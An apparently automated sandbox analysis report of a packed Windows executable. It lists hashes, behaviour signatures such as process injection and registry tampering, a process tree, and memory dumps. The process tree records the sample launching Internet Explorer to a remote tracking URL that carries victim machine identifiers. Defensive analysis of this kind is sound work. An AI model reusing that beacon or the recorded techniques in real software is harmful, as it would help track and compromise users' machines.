Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/12/2023, 10:09

General

  • Target

    3231001d2573a1acc9cf281f0d9fc8e3.exe

  • Size

    264KB

  • MD5

    3231001d2573a1acc9cf281f0d9fc8e3

  • SHA1

    435ede149656773acfeaf0a179d466672f295a09

  • SHA256

    8452ea444f3e8d6b65b8ec9dbf3861f3115317b355f655ece5451270b3d7565c

  • SHA512

    a76f8db333cbc0f5f68768f1fa2d586767883705177b7d5d82e12fa0670ca6e144a0932376326c19d4bb28b5a2baf8b3f1b1e5b3f71cacc61a86eea4f8af3edf

  • SSDEEP

    6144:3+yFgv5dOMKyiQOtrNuvEBPTJaWVcInQxJlWwKiyVEqt:IrOMpdqNmEBYW2/JlQ5J

Malware Config

Signatures

  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
  • Sets file execution options in registry 2 TTPs 2 IoCs
  • UPX packed file 17 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • VMProtect packed file 9 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Enumerates connected drives 3 TTPs 20 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 39 IoCs
  • Suspicious behavior: EnumeratesProcesses 38 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe
    "C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:864
    • C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe
      "C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"
      2⤵
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4772
    • C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe
      "C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"
      2⤵
      • Modifies visiblity of hidden/system files in Explorer
      • Sets file execution options in registry
      • Enumerates connected drives
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2220
    • C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe
      "C:\Users\Admin\AppData\Local\Temp\3231001d2573a1acc9cf281f0d9fc8e3.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1728
      • C:\Program Files\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://tongji.maxjust555.cn/avastcnzztj/ddqqbo.htm?mac=-955637396&os=windowsXP&ver=20090323&id=-1073300490.9
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4992
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4992 CREDAT:17410 /prefetch:2
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:2112

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\VersionManager\verD00D.tmp

          Filesize

          15KB

          MD5

          1a545d0052b581fbb2ab4c52133846bc

          SHA1

          62f3266a9b9925cd6d98658b92adec673cbe3dd3

          SHA256

          557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1

          SHA512

          bd326d111589d87cd6d019378ec725ac9ac7ad4c36f22453941f7d52f90b747ede4783a83dfff6cae1b3bb46690ad49cffa77f2afda019b22863ac485b406e8d

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\SB302YPZ\suggestions[1].en-US

          Filesize

          17KB

          MD5

          5a34cb996293fde2cb7a4ac89587393a

          SHA1

          3c96c993500690d1a77873cd62bc639b3a10653f

          SHA256

          c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

          SHA512

          e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

        • memory/864-42-0x0000000000400000-0x0000000000496000-memory.dmp

          Filesize

          600KB

        • memory/864-0-0x0000000000400000-0x0000000000496000-memory.dmp

          Filesize

          600KB

        • memory/1728-38-0x0000000000400000-0x0000000000415000-memory.dmp

          Filesize

          84KB

        • memory/1728-50-0x0000000000400000-0x0000000000415000-memory.dmp

          Filesize

          84KB

        • memory/1728-26-0x0000000000400000-0x0000000000415000-memory.dmp

          Filesize

          84KB

        • memory/1728-35-0x0000000000400000-0x0000000000415000-memory.dmp

          Filesize

          84KB

        • memory/1728-34-0x0000000000400000-0x0000000000415000-memory.dmp

          Filesize

          84KB

        • memory/1728-31-0x0000000000400000-0x0000000000415000-memory.dmp

          Filesize

          84KB

        • memory/1728-66-0x0000000000400000-0x0000000000415000-memory.dmp

          Filesize

          84KB

        • memory/1728-30-0x0000000000400000-0x0000000000415000-memory.dmp

          Filesize

          84KB

        • memory/1728-28-0x0000000000400000-0x0000000000415000-memory.dmp

          Filesize

          84KB

        • memory/2220-21-0x0000000000400000-0x0000000000426000-memory.dmp

          Filesize

          152KB

        • memory/2220-16-0x000000000041C000-0x0000000000426000-memory.dmp

          Filesize

          40KB

        • memory/2220-14-0x0000000000400000-0x0000000000426000-memory.dmp

          Filesize

          152KB

        • memory/2220-13-0x0000000000400000-0x0000000000426000-memory.dmp

          Filesize

          152KB

        • memory/2220-76-0x0000000000400000-0x0000000000425B46-memory.dmp

          Filesize

          150KB

        • memory/2220-48-0x0000000000400000-0x0000000000425B46-memory.dmp

          Filesize

          150KB

        • memory/2220-17-0x000000000041C000-0x0000000000426000-memory.dmp

          Filesize

          40KB

        • memory/2220-18-0x0000000000400000-0x0000000000426000-memory.dmp

          Filesize

          152KB

        • memory/2220-20-0x0000000000400000-0x0000000000425B46-memory.dmp

          Filesize

          150KB

        • memory/2220-44-0x0000000000400000-0x0000000000426000-memory.dmp

          Filesize

          152KB

        • memory/4772-41-0x0000000000400000-0x0000000000457000-memory.dmp

          Filesize

          348KB

        • memory/4772-54-0x0000000000400000-0x0000000000457000-memory.dmp

          Filesize

          348KB

        • memory/4772-10-0x0000000000400000-0x0000000000457000-memory.dmp

          Filesize

          348KB

        • memory/4772-12-0x0000000000400000-0x0000000000457000-memory.dmp

          Filesize

          348KB

        • memory/4772-9-0x0000000000400000-0x0000000000457000-memory.dmp

          Filesize

          348KB

        • memory/4772-6-0x0000000000400000-0x0000000000457000-memory.dmp

          Filesize

          348KB

        • memory/4772-25-0x0000000000400000-0x0000000000457000-memory.dmp

          Filesize

          348KB

        • memory/4772-49-0x0000000000400000-0x0000000000457000-memory.dmp

          Filesize

          348KB

        • memory/4772-8-0x0000000000400000-0x0000000000457000-memory.dmp

          Filesize

          348KB

        • memory/4772-7-0x0000000000400000-0x0000000000457000-memory.dmp

          Filesize

          348KB

        • memory/4772-63-0x0000000000400000-0x0000000000457000-memory.dmp

          Filesize

          348KB

        • memory/4772-3-0x0000000000400000-0x0000000000457000-memory.dmp

          Filesize

          348KB

        • memory/4772-23-0x0000000000400000-0x0000000000457000-memory.dmp

          Filesize

          348KB

        • memory/4772-77-0x0000000000400000-0x0000000000457000-memory.dmp

          Filesize

          348KB

        • memory/4772-2-0x0000000000400000-0x0000000000457000-memory.dmp

          Filesize

          348KB

        • memory/4772-91-0x0000000000400000-0x0000000000457000-memory.dmp

          Filesize

          348KB

        • memory/4772-1-0x0000000000400000-0x0000000000457000-memory.dmp

          Filesize

          348KB